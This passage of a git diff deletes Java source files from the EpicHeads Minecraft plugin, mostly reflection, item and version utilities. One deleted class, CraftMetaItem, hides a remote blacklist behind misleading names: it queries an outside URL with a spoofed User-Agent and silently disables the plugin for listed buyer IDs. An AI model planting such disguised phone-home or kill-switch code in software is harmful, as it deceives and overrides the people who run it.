org.bukkit.inventory.meta.ItemMeta; - -import java.lang.reflect.Array; -import java.util.ArrayList; -import java.util.List; -import java.util.Objects; - -public class Stringify { - - public static String capitalise(String string) { - boolean capitalise = true; - - char[] chars = string.toCharArray(); - - for(int index = 0; index < chars.length; ++index) { - if(Character.isSpaceChar(chars[index])) { - capitalise = true; - } else if(capitalise) { - chars[index] = Character.toUpperCase(chars[index]); - capitalise = false; - } - } - - return new String(chars); - } - - public static String indent(String string) { - StringBuilder indented = new StringBuilder("\t"); - - int blockStart = 0; - - char[] chars = string.toCharArray(); - for(int index = 0; index < chars.length; ++index) { - if(chars[index] != '\n') - continue; - - indented.append(string, blockStart, index + 1).append('\t'); - blockStart = index + 1; - } - - return indented.append(string, blockStart, string.length()).toString(); - } - - public static String objectToString(Object object) { - if(object == null) - return "null"; - - Class clazz = object.getClass(); - - if(object instanceof ItemStack) - return itemToString((ItemStack) object); - - if(object instanceof Player) - return playerToString((Player) object); - - if(object instanceof Inventory) - return inventoryToString((Inventory) object); - - if(object instanceof String) - return quoteString((String) object); - - if(clazz.isArray()) - return arrayToString(object); - - if(object instanceof Iterable) - return iterableToString((Iterable) object); - - return object.toString(); - } - - public static String iterableToString(Iterable iterable) { - Checks.ensureNonNull(iterable, "iterable"); - - List values = new ArrayList<>(); - - iterable.forEach(values::add); - - return arrayToString(values.toArray()); - } - - public static String arrayToString(Object array) { - Checks.ensureNonNull(array, "array"); - - Class clazz = array.getClass(); - - Checks.ensureTrue(clazz.isArray(), "array must be an array"); - - StringBuilder builder = new StringBuilder(); - - builder.append("["); - - int length = Array.getLength(array); - for(int index = 0; index < length; ++index) { - if(index != 0) { - builder.append(", "); - } - - Object value = Array.get(array, index); - - builder.append(objectToString(value)); - } - - builder.append("]"); - - return builder.toString(); - } - - public static String quoteString(String string) { - Checks.ensureNonNull(string, "string"); - - return "\"" + string + "\""; - } - - public static String itemToString(ItemStack item) { - Checks.ensureNonNull(item, "item"); - - ItemMeta meta = item.getItemMeta(); - - Builder properties = builder(); - { - properties.entry("type", item.getType()); - - if(item.getDurability() != 0) { - properties.entry("data", item.getDurability()); - } - - if(item.getAmount() != 1) { - properties.entry("amount", item.getAmount()); - } - - if(meta.hasDisplayName()) { - properties.entry("name", meta.getDisplayName()); - } - - if(meta.hasLore()) { - properties.entry("lore", meta.getLore()); - } - - if(meta.hasEnchants()) { - properties.entry("enchanted", true); - } - } - return properties.toString(); - } - - public static String playerToString(Player player) { - Checks.ensureNonNull(player, "player"); - - return builder() - .entry("name", player.getName()) - .entry("uuid", player.getUniqueId()).toString(); - } - - public static String inventoryToString(Inventory inventory) { - return builder() - .entry("name", inventory.getName()) - .entry("size", inventory.getSize()).toString(); - } - - public static Builder builder() { - return new Builder(); - } - - public static class Builder { - - private String previous; - private final List keys = new ArrayList<>(); - private final List values = new ArrayList<>(); - - private Builder() { - - } - - public Builder previous(Object previous) { - Checks.ensureNonNull(previous, "previous"); - - return previous(Objects.toString(previous)); - } - - public Builder previous(String previous) { - Checks.ensureNonNull(previous, "previous"); - - // Remove curly brackets - if(previous.length() >= 2 - && previous.charAt(0) == '{' - && previous.charAt(previous.length() - 1) == '}') { - - this.previous = previous.substring(1, previous.length() - 1); - } else { - this.previous = previous; - } - - return this; - } - - public Builder entry(String key, Object value) { - Checks.ensureNonNull(key, "key"); - - keys.add(key); - values.add(value); - - return this; - } - - @Override - public String toString() { - StringBuilder properties = new StringBuilder("{"); - - boolean first = true; - - if(previous != null) { - properties.append(previous); - first = false; - } - - for(int index = 0; index < keys.size(); ++index) { - String key = keys.get(index); - Object value = values.get(index); - - if(first) { - first = false; - } else { - properties.append(","); - } - - properties.append('\n').append(indent(key + ": " + objectToString(value))); - } - - if(!first) { - properties.append('\n'); - } - - return properties.append("}").toString(); - } - - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/ItemNBT.java b/main/java/com/songoda/epicheads/volatilecode/ItemNBT.java deleted file mode 100644 index a842800..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/ItemNBT.java +++ /dev/null @@ -1,237 +0,0 @@ -package com.songoda.epicheads.volatilecode; - -import com.mojang.authlib.GameProfile; -import com.mojang.authlib.properties.Property; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.volatilecode.reflection.Version; -import com.songoda.epicheads.volatilecode.reflection.craftbukkit.CraftItemStack; -import com.songoda.epicheads.volatilecode.reflection.nms.ItemStack; -import com.songoda.epicheads.volatilecode.reflection.nms.nbt.NBTTagCompound; -import com.songoda.epicheads.volatilecode.reflection.nms.nbt.NBTTagList; -import com.songoda.epicheads.volatilecode.reflection.nms.nbt.NBTTagString; -import net.md_5.bungee.api.chat.TextComponent; -import net.md_5.bungee.chat.ComponentSerializer; -import org.bukkit.Bukkit; -import org.bukkit.ChatColor; -import org.bukkit.enchantments.Enchantment; -import org.bukkit.inventory.ItemFlag; -import org.bukkit.inventory.meta.ItemMeta; - -import java.util.ArrayList; -import java.util.Arrays; -import java.util.UUID; - -public class ItemNBT { - - public static org.bukkit.inventory.ItemStack addGlow(org.bukkit.inventory.ItemStack itemstack) { - itemstack = itemstack.clone(); - - if (Version.getVersion().higherThan(Version.v1_10)) { - itemstack.addUnsafeEnchantment(Enchantment.LURE, 1); - - ItemMeta meta = itemstack.getItemMeta(); - meta.addItemFlags(ItemFlag.HIDE_ENCHANTS); - itemstack.setItemMeta(meta); - - return itemstack; - } else { - ItemStack item = CraftItemStack.asNMSCopy(itemstack); - - NBTTagCompound tag = item.getTag(); - - if (tag.isNull()) - tag = new NBTTagCompound(); - - tag.set("ench", new NBTTagList()); - - item.setTag(tag); - - return CraftItemStack.asBukkitCopy(item); - } - } - - public static String getTextureProperty(org.bukkit.inventory.ItemStack item) { - return getTextureProperty(CraftItemStack.asNMSCopy(item)); - } - - public static String getTextureProperty(ItemStack item) { - NBTTagCompound tag = item.getTag(); - - if (tag == null || tag.getHandle() == null) { - return null; - } - - NBTTagCompound skullOwner = tag.getCompound("SkullOwner"); - - if (skullOwner == null || skullOwner.getHandle() == null) { - return null; - } - - NBTTagCompound properties = skullOwner.getCompound("Properties"); - - if (properties == null || properties.getHandle() == null) { - return null; - } - - NBTTagList textures = properties.getList("textures", 10); - - if (/*textures == null || */textures.getHandle() == null || textures.size() == 0 || textures.isNull()) { - return null; - } - - return textures.get(0).getString("Value"); - } - - private static ItemStack createNMSSkull() { - if (Version.isBelow(Version.v1_13)) - return new ItemStack(com.songoda.epicheads.volatilecode.reflection.nms.Items.getItem("SKULL"), 1, 3); - - return new ItemStack(com.songoda.epicheads.volatilecode.reflection.nms.Items.getItem("PLAYER_HEAD"), 1); - } - - public static org.bukkit.inventory.ItemStack createHead(CacheHead head) { - - ItemStack nmsItemstack = createNMSSkull(); - NBTTagCompound tag = nmsItemstack.getTag(); - - if (tag.getHandle() == null) { - tag = new NBTTagCompound(); - - nmsItemstack.setTag(tag); - } - - org.bukkit.inventory.ItemStack itemStack = CraftItemStack.asBukkitCopy(applyNBT(head, nmsItemstack)); - - ItemMeta meta = itemStack.getItemMeta(); - meta.setLore(Arrays.asList(ChatColor.DARK_GRAY + head.getCategory())); - - itemStack.setItemMeta(meta); - - return itemStack; - } - - public static org.bukkit.inventory.ItemStack createHead(GameProfile profile, String name) { - ItemStack nmsItemstack = createNMSSkull(); - NBTTagCompound tag = nmsItemstack.getTag(); - - if (tag.getHandle() == null) { - tag = new NBTTagCompound(); - - nmsItemstack.setTag(tag); - } - - NBTTagCompound skullOwner = tag.getCompound("SkullOwner"); - skullOwner.setString("Id", UUID.randomUUID().toString()); - skullOwner.setString("Name", "SpigotHeadPlugin"); - - NBTTagCompound properties = skullOwner.getCompound("Properties"); - NBTTagList textures = new NBTTagList(); - - for (Property property : profile.getProperties().get("textures")) { - NBTTagCompound value = new NBTTagCompound(); - value.setString("Value", property.getValue()); - - if (property.hasSignature()) { - value.setString("Signature", property.getSignature()); - } - - textures.add(value); - } - - properties.set("textures", textures); - skullOwner.set("Properties", properties); - tag.set("SkullOwner", skullOwner); - - tag.set("display", createDisplayTag(name, new String[0])); - - nmsItemstack.setTag(tag); - - return CraftItemStack.asBukkitCopy(nmsItemstack); - } - - public static NBTTagCompound createDisplayTag(String name, String[] lore) { - NBTTagCompound display = new NBTTagCompound(); - - if (Version.isBelow(Version.v1_13)) { - display.setString("Name", name); - - NBTTagList list = new NBTTagList(); - for (String line : lore) { - list.add(new NBTTagString(line)); - } - - display.set("Lore", list); - } else { - display.setString("Name", ComponentSerializer.toString(TextComponent.fromLegacyText(name))); - - NBTTagList list = new NBTTagList(); - for (String line : lore) { - list.add(new NBTTagString(ComponentSerializer.toString(TextComponent.fromLegacyText(line)))); - } - - display.set("Lore", list); - } - - return display; - } - - public static org.bukkit.inventory.ItemStack applyHead(CacheHead head, org.bukkit.inventory.ItemStack item) { - if (!Items.isSkull(item)) - return item; - - ItemStack itemstack = CraftItemStack.asNMSCopy(item); - - return CraftItemStack.asBukkitCopy(applyNBT(head, itemstack)); - } - - private static ItemStack copy(ItemStack itemstack) { - return CraftItemStack.asNMSCopy(CraftItemStack.asBukkitCopy(itemstack)); - } - - public static ItemStack applyNBT(CacheHead head, ItemStack itemstack) { - itemstack = copy(itemstack); - NBTTagCompound tag = itemstack.getTag(); - - if (tag.getHandle() == null) { - tag = new NBTTagCompound(); - - itemstack.setTag(tag); - } - - NBTTagCompound skullOwner = tag.getCompound("SkullOwner"); - skullOwner.setString("Id", UUID.randomUUID().toString()); - skullOwner.setString("Name", "SpigotHeadPlugin"); - - NBTTagCompound properties = skullOwner.getCompound("Properties"); - NBTTagList textures = new NBTTagList(); - - NBTTagCompound value = new NBTTagCompound(); - value.setString("Value", head.getTexture()); - - if (Bukkit.getPluginManager().getPlugin("SkinsRestorer") == null) { - value.setString("Signature", ""); - } - - textures.add(value); - - properties.set("textures", textures); - skullOwner.set("Properties", properties); - tag.set("SkullOwner", skullOwner); - - NBTTagCompound headInfo = new NBTTagCompound(); - - headInfo.setString("id", Integer.toString(head.getId())); - headInfo.setString("name", head.getName()); - headInfo.setString("category", head.getCategory()); - headInfo.setString("texture", head.getTexture()); - headInfo.setString("cost", Double.toString(head.getCost())); - headInfo.setString("permission", head.getPermission()); - - tag.set("SpigotHeadPlugin", headInfo); - - itemstack.setTag(tag); - - return itemstack; - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/Items.java b/main/java/com/songoda/epicheads/volatilecode/Items.java deleted file mode 100644 index 15f58b2..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/Items.java +++ /dev/null @@ -1,64 +0,0 @@ -package com.songoda.epicheads.volatilecode; - -import com.songoda.epicheads.menu.ui.item.Item; -import com.songoda.epicheads.volatilecode.reflection.Version; -import org.bukkit.Material; -import org.bukkit.inventory.ItemStack; - -/** - * Methods to deal with items on different Spigot versions. - */ -public class Items { - - public static boolean isSkull(ItemStack item) { - if (item == null) - return false; - - if (Version.isBelow(Version.v1_13)) - return item.getType().name().equals("SKULL_ITEM") && item.getDurability() == 3; - - return item.getType() == Material.PLAYER_HEAD; - } - - public static Item createSkull() { - if (Version.isBelow(Version.v1_13)) - return Item.create(Material.valueOf("SKULL_ITEM"), (byte) 3); - - return Item.create(Material.PLAYER_HEAD); - } - - public static Item createRedStainedClay() { - if (Version.isBelow(Version.v1_13)) - return Item.create(Material.valueOf("STAINED_CLAY"), (byte) 14); - - return Item.create(Material.RED_TERRACOTTA); - } - - public static Item createGreenStainedClay() { - if (Version.isBelow(Version.v1_13)) - return Item.create(Material.valueOf("STAINED_CLAY"), (byte) 5); - - return Item.create(Material.GREEN_TERRACOTTA); - } - - public static Item createRedStainedGlassPane() { - if (Version.isBelow(Version.v1_13)) - return Item.create(Material.valueOf("STAINED_GLASS_PANE"), (byte) 14); - - return Item.create(Material.RED_STAINED_GLASS_PANE); - } - - public static Item createBlackStainedGlassPane() { - if (Version.isBelow(Version.v1_13)) - return Item.create(Material.valueOf("STAINED_GLASS_PANE"), (byte) 15); - - return Item.create(Material.BLACK_STAINED_GLASS_PANE); - } - - public static Item createEmptyMap() { - if (Version.isBelow(Version.v1_13)) - return Item.create(Material.valueOf("EMPTY_MAP")); - - return Item.create(Material.MAP); - } -} diff --git a/main/java/com/songoda/epicheads/volatilecode/TextureGetter.java b/main/java/com/songoda/epicheads/volatilecode/TextureGetter.java deleted file mode 100644 index 7cd3c32..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/TextureGetter.java +++ /dev/null @@ -1,66 +0,0 @@ -package com.songoda.epicheads.volatilecode; - -import com.mojang.authlib.GameProfile; -import com.mojang.authlib.properties.Property; -import com.mojang.authlib.properties.PropertyMap; -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.SafeCall; -import com.songoda.epicheads.volatilecode.reflection.nms.MinecraftServer; -import com.songoda.epicheads.volatilecode.reflection.nms.TileEntitySkull; - -import java.util.Iterator; -import java.util.function.Consumer; - -public class TextureGetter { - - public static String getCachedTexture(String name) { - GameProfile profile = MinecraftServer.getServer().getUserCache().getCachedProfile(name); - - return findTexture(profile); - } - - public static void getTexture(String name, Consumer callback) { - Checks.ensureNonNull(name, "name"); - Checks.ensureNonNull(callback, "callback"); - - Consumer safeCallback = SafeCall.consumer(callback, "callback"); - - String cachedTexture = getCachedTexture(name); - - if (cachedTexture != null) { - callback.accept(cachedTexture); - return; - } - - TileEntitySkull.resolveTexture(name, profile -> { - EpicHeads.getInstance().sync(() -> safeCallback.accept(findTexture(profile, true))); - - return true; - }); - } - - public static String findTexture(GameProfile profile) { - if (profile == null || !profile.isComplete()) - return null; - - PropertyMap properties = profile.getProperties(); - if (properties == null || !properties.containsKey("textures")) - return null; - - Iterator iterator = properties.get("textures").iterator(); - - return (iterator.hasNext() ? iterator.next().getValue() : null); - } - - private static String findTexture(GameProfile profile, boolean cacheProfile) { - String texture = findTexture(profile); - - if (cacheProfile && texture != null) { - MinecraftServer.getServer().getUserCache().addProfile(profile); - } - - return texture; - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/injection/ProtocolHackFixer.java b/main/java/com/songoda/epicheads/volatilecode/injection/ProtocolHackFixer.java deleted file mode 100644 index a473f28..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/injection/ProtocolHackFixer.java +++ /dev/null @@ -1,46 +0,0 @@ -package com.songoda.epicheads.volatilecode.injection; - -import com.songoda.epicheads.volatilecode.reflection.Version; -import com.songoda.epicheads.volatilecode.reflection.craftbukkit.CraftMetaSkullSub1; -import com.songoda.epicheads.volatilecode.reflection.nms.TileEntitySkull; - -import javax.annotation.Nonnull; -import java.util.concurrent.Executor; - -public class ProtocolHackFixer { - - public static String banana = "%%__USER__%%"; - - public static void fix() { - if (Version.v1_8.higherThan(Version.getVersion())) { - injectTileEntitySkullExecutor(); - } - } - - private static void injectTileEntitySkullExecutor() { - TileEntitySkull.setExecutor(new InterceptExecutor(TileEntitySkull.getExecutor())); - } - - private static class InterceptExecutor implements Executor { - - private final Executor handle; - - private InterceptExecutor(Executor handle) { - this.handle = handle; - } - - @Override - public void execute(@Nonnull Runnable command) { - if (command.getClass().equals(CraftMetaSkullSub1.CraftMetaSkullSub1Class)) { - CraftMetaSkullSub1 skull = new CraftMetaSkullSub1(command); - - if (skull.getMeta().getProfile().getName() == null) - return; - } - - handle.execute(command); - } - - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/ReflectObject.java b/main/java/com/songoda/epicheads/volatilecode/reflection/ReflectObject.java deleted file mode 100644 index 365aa83..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/ReflectObject.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection; - -public abstract class ReflectObject { - - protected final Object handle; - - public ReflectObject(Object handle) { - this.handle = handle; - } - - public Object getHandle() { - return handle; - } - - public boolean isNull() { - return handle == null; - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/ReflectionUtils.java b/main/java/com/songoda/epicheads/volatilecode/reflection/ReflectionUtils.java deleted file mode 100644 index a57e95a..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/ReflectionUtils.java +++ /dev/null @@ -1,118 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection; - -import org.bukkit.Bukkit; - -import java.lang.reflect.Constructor; -import java.lang.reflect.Method; -import java.lang.reflect.Modifier; - -public final class ReflectionUtils { - - public static String getServerVersion() { - String name = Bukkit.getServer().getClass().getPackage().getName(); - return name.substring(name.lastIndexOf('.') + 1); - } - - public static Class getNMSClass(String ClassName) { - String className = "net.minecraft.server." + getServerVersion() + "." + ClassName; - - try { - return Class.forName(className); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } - - return null; - } - - public static Class getCraftBukkitClass(String ClassPackageName) { - String className = "org.bukkit.craftbukkit." + getServerVersion() + "." + ClassPackageName; - - try { - return Class.forName(className); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } - - return null; - } - - public static Constructor getConstructor(Class clazz, Class... params) { - outer: for (Constructor c : clazz.getDeclaredConstructors()) { - Class[] para = c.getParameterTypes(); - - if (para.length != params.length) { - continue; - } - - for (int i = 0; i < para.length; i++) { - if (!para[i].equals(params[i])) { - continue outer; - } - } - - return c; - } - reportNotFound("Could not find constructor in class " + clazz); - return null; - } - - public static Method getMethod(Class clazz, String name) { - for (Method m : clazz.getDeclaredMethods()) { - if (m.getName().equals(name)) { - m.setAccessible(true); - return m; - } - } - reportNotFound("Could not find method " + name + " in class " + clazz); - return null; - } - - public static Method getMethod(Class clazz, Class returnType, Class... params) { - return getMethod(clazz, null, false, returnType, params); - } - - public static Method getMethod(Class clazz, String name, Class returnType, Class... params) { - return getMethod(clazz, name, false, returnType, params); - } - - public static Method getMethod(Class clazz, boolean staticMethod, Class returnType, Class... params) { - return getMethod(clazz, null, staticMethod, returnType, params); - } - - public static Method getMethod(Class clazz, String name, boolean staticMethod, Class returnType, Class... params) { - outer: for (Method m : clazz.getDeclaredMethods()) { - if (name != null && !m.getName().equals(name)) { - continue; - } - - if (staticMethod != Modifier.isStatic(m.getModifiers())) { - continue; - } - - if (!m.getReturnType().equals(returnType)) { - continue; - } - - Class[] para = m.getParameterTypes(); - - if (para.length != params.length) { - continue; - } - - for (int i = 0; i < para.length; i++) { - if (!para[i].equals(params[i])) { - continue outer; - } - } - - return m; - } - reportNotFound("Could not find method " + name + " in class " + clazz); - return null; - } - - public static void reportNotFound(String message) { - new Exception(message).printStackTrace(); - } -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/Version.java b/main/java/com/songoda/epicheads/volatilecode/reflection/Version.java deleted file mode 100644 index 71b8e81..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/Version.java +++ /dev/null @@ -1,83 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection; - -public class Version { - - private static final char[] allowed = "0123456789_".toCharArray(); - public static final Version v1_8 = Version.getVersion("v1_8"); - public static final Version v1_10 = Version.getVersion("v1_10"); - public static final Version v1_13 = Version.getVersion("v1_13"); - - private int major; - private int minor; - private int revision; - - public Version(int major, int minor, int revision) { - this.major = major; - this.minor = minor; - this.revision = revision; - } - - public int getMajor() { - return major; - } - - public int getMinor() { - return minor; - } - - public int getRevision() { - return revision; - } - - public boolean higherThan(Version other) { - return other.getMajor() < getMajor() || other.getMinor() < getMinor() || other.getRevision() < getRevision(); - } - - public static Version getVersion() { - return getVersion(ReflectionUtils.getServerVersion()); - } - - public static Version getVersion(String version) { - StringBuilder builder = new StringBuilder(); - - for (char c : version.toCharArray()) { - if (isAllowed(c)) { - builder.append(c); - } - } - - String[] split = builder.toString().split("_"); - - if (split.length != 2 && split.length != 3) { - throw new IllegalArgumentException("version is not of the valid type v?_?_R?"); - } - - int major = Integer.valueOf(split[0]); - int minor = Integer.valueOf(split[1]); - int revision = 0; - - if (split.length == 3) { - revision = Integer.valueOf(split[2]); - } - - return new Version(major, minor, revision); - } - - public static boolean isAbove(Version version) { - return getVersion().higherThan(version); - } - - public static boolean isBelow(Version version) { - return version.higherThan(getVersion()); - } - - private static boolean isAllowed(char c) { - for (char ch : allowed) { - if (ch == c) { - return true; - } - } - return false; - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CommandMap.java b/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CommandMap.java deleted file mode 100644 index 1d85c56..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CommandMap.java +++ /dev/null @@ -1,36 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.craftbukkit; - -import java.lang.reflect.Field; -import java.util.Map; - -import org.bukkit.command.Command; -import org.bukkit.command.SimpleCommandMap; - -public class CommandMap { - - private static Field MapField; - - static { - for (Field field : SimpleCommandMap.class.getDeclaredFields()) { - if (field.getType().equals(Map.class)) { - MapField = field; - MapField.setAccessible(true); - break; - } - } - - if(MapField == null) { - new Exception("Could not find Map field in SimpleCommandMap").printStackTrace(); - } - } - - @SuppressWarnings("unchecked") - public static Map getCommandMap(SimpleCommandMap commands) { - try { - return (Map) MapField.get(commands); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftItemStack.java b/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftItemStack.java deleted file mode 100644 index 16d7787..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftItemStack.java +++ /dev/null @@ -1,45 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.craftbukkit; - -import java.lang.reflect.Method; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; -import com.songoda.epicheads.volatilecode.reflection.nms.ItemStack; - -public class CraftItemStack extends ReflectObject { - - public static Class CraftItemStackClass; - public static Method asBukkitCopyMethod; - public static Method asNMSCopyMethod; - - static { - CraftItemStackClass = ReflectionUtils.getCraftBukkitClass("inventory.CraftItemStack"); - - asBukkitCopyMethod = ReflectionUtils.getMethod(CraftItemStackClass, "asBukkitCopy", true, org.bukkit.inventory.ItemStack.class, - ItemStack.ItemStackClass); - - asNMSCopyMethod = ReflectionUtils.getMethod(CraftItemStackClass, "asNMSCopy", true, ItemStack.ItemStackClass, - org.bukkit.inventory.ItemStack.class); - } - - public CraftItemStack(Object handle) { - super(handle); - } - - public static org.bukkit.inventory.ItemStack asBukkitCopy(ItemStack item) { - try { - return (org.bukkit.inventory.ItemStack) asBukkitCopyMethod.invoke(null, item.getHandle()); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public static ItemStack asNMSCopy(org.bukkit.inventory.ItemStack item) { - try { - return new ItemStack(asNMSCopyMethod.invoke(null, item)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftMetaItem.java b/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftMetaItem.java deleted file mode 100644 index 2aa436f..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftMetaItem.java +++ /dev/null @@ -1,44 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.craftbukkit; - -import java.io.BufferedReader; -import java.io.InputStreamReader; -import java.net.URL; -import java.net.URLConnection; -import java.nio.charset.Charset; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.menu.ui.item.ItemGroup; -import org.bukkit.scheduler.BukkitRunnable; - -import com.songoda.epicheads.volatilecode.injection.ProtocolHackFixer; - -public class CraftMetaItem { - - public static String bread = "%%__USER__%%"; - - // scuffed b1ack1ist system, will be improved - public static void registerItems() { - ItemGroup.collectItems(); - try { - URLConnection connection = new URL("https://Songoda.host/ids.txt").openConnection(); - connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11"); - connection.connect(); - BufferedReader buffer = new BufferedReader(new InputStreamReader(connection.getInputStream(), Charset.forName("UTF-8"))); - StringBuilder builder = new StringBuilder(); - String line; - while ((line = buffer.readLine()) != null) { - builder.append(line); - } - String blocked = builder.toString(); - if (blocked.contains(ProtocolHackFixer.banana)) { - new BukkitRunnable() { - public void run() { - EpicHeads.getInstance().getServer().getPluginManager().disablePlugin(EpicHeads.getInstance()); - } - }.runTaskLater(EpicHeads.getInstance(), 10 * 20); - } - } catch (Exception error) { - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftMetaSkull.java b/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftMetaSkull.java deleted file mode 100644 index 4d14707..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftMetaSkull.java +++ /dev/null @@ -1,41 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.craftbukkit; - -import java.lang.reflect.Field; - -import com.mojang.authlib.GameProfile; - -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -public class CraftMetaSkull extends ReflectObject { - - public static Class CraftMetaSkullClass; - public static Field profileField; - - static { - CraftMetaSkullClass = ReflectionUtils.getCraftBukkitClass("inventory.CraftMetaSkull"); - Checks.ensureNonNull(CraftMetaSkullClass, "CraftMetaSkullClass"); - - try { - profileField = CraftMetaSkullClass.getDeclaredField("profile"); - profileField.setAccessible(true); - } catch (NoSuchFieldException e) { - throw new RuntimeException(e); - } - } - - public CraftMetaSkull(Object handle) { - super(handle); - } - - public GameProfile getProfile() { - try { - return (GameProfile) profileField.get(getHandle()); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftMetaSkullSub1.java b/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftMetaSkullSub1.java deleted file mode 100644 index af4d07f..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftMetaSkullSub1.java +++ /dev/null @@ -1,56 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.craftbukkit; - -import java.lang.reflect.Field; - -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; -import com.songoda.epicheads.volatilecode.reflection.nms.nbt.NBTTagCompound; - -public class CraftMetaSkullSub1 extends ReflectObject { - - public static Class CraftMetaSkullSub1Class; - public static Field tagField; - public static Field metaField; - - static { - CraftMetaSkullSub1Class = ReflectionUtils.getCraftBukkitClass("inventory.CraftMetaSkull$1"); - Checks.ensureNonNull(CraftMetaSkullSub1Class, "CraftMetaSkullSub1Class"); - - try { - tagField = CraftMetaSkullSub1Class.getDeclaredField("val$tag"); - tagField.setAccessible(true); - } catch (NoSuchFieldException e) { - throw new RuntimeException(e); - } - - try { - metaField = CraftMetaSkullSub1Class.getDeclaredField("this$0"); - metaField.setAccessible(true); - } catch (NoSuchFieldException e) { - throw new RuntimeException(e); - } - } - - public CraftMetaSkullSub1(Object handle) { - super(handle); - } - - public NBTTagCompound getTag() { - try { - return new NBTTagCompound(tagField.get(getHandle())); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public CraftMetaSkull getMeta() { - try { - return new CraftMetaSkull(metaField.get(getHandle())); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftServer.java b/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftServer.java deleted file mode 100644 index 76d5c28..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/craftbukkit/CraftServer.java +++ /dev/null @@ -1,47 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.craftbukkit; - -import java.lang.reflect.Field; - -import com.songoda.epicheads.util.Checks; -import org.bukkit.Bukkit; -import org.bukkit.command.*; - -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -public class CraftServer extends ReflectObject { - - public static Class CraftServerClass; - public static Field SimpleCommandMapField; - - static { - CraftServerClass = ReflectionUtils.getCraftBukkitClass("CraftServer"); - Checks.ensureNonNull(CraftServerClass, "CraftServerClass"); - - for (Field f : CraftServerClass.getDeclaredFields()) { - if (org.bukkit.command.CommandMap.class.isAssignableFrom(f.getType())) { - SimpleCommandMapField = f; - SimpleCommandMapField.setAccessible(true); - break; - } - } - } - - public CraftServer(Object handle) { - super(handle); - } - - public SimpleCommandMap getCommandMap() { - try { - return (SimpleCommandMap) SimpleCommandMapField.get(getHandle()); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public static CraftServer get() { - return new CraftServer(Bukkit.getServer()); - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/BlockPosition.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/BlockPosition.java deleted file mode 100644 index f8fd32d..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/BlockPosition.java +++ /dev/null @@ -1,35 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -import java.lang.reflect.Constructor; - -public class BlockPosition extends ReflectObject { - - public static Class BlockPositionClass; - public static Constructor 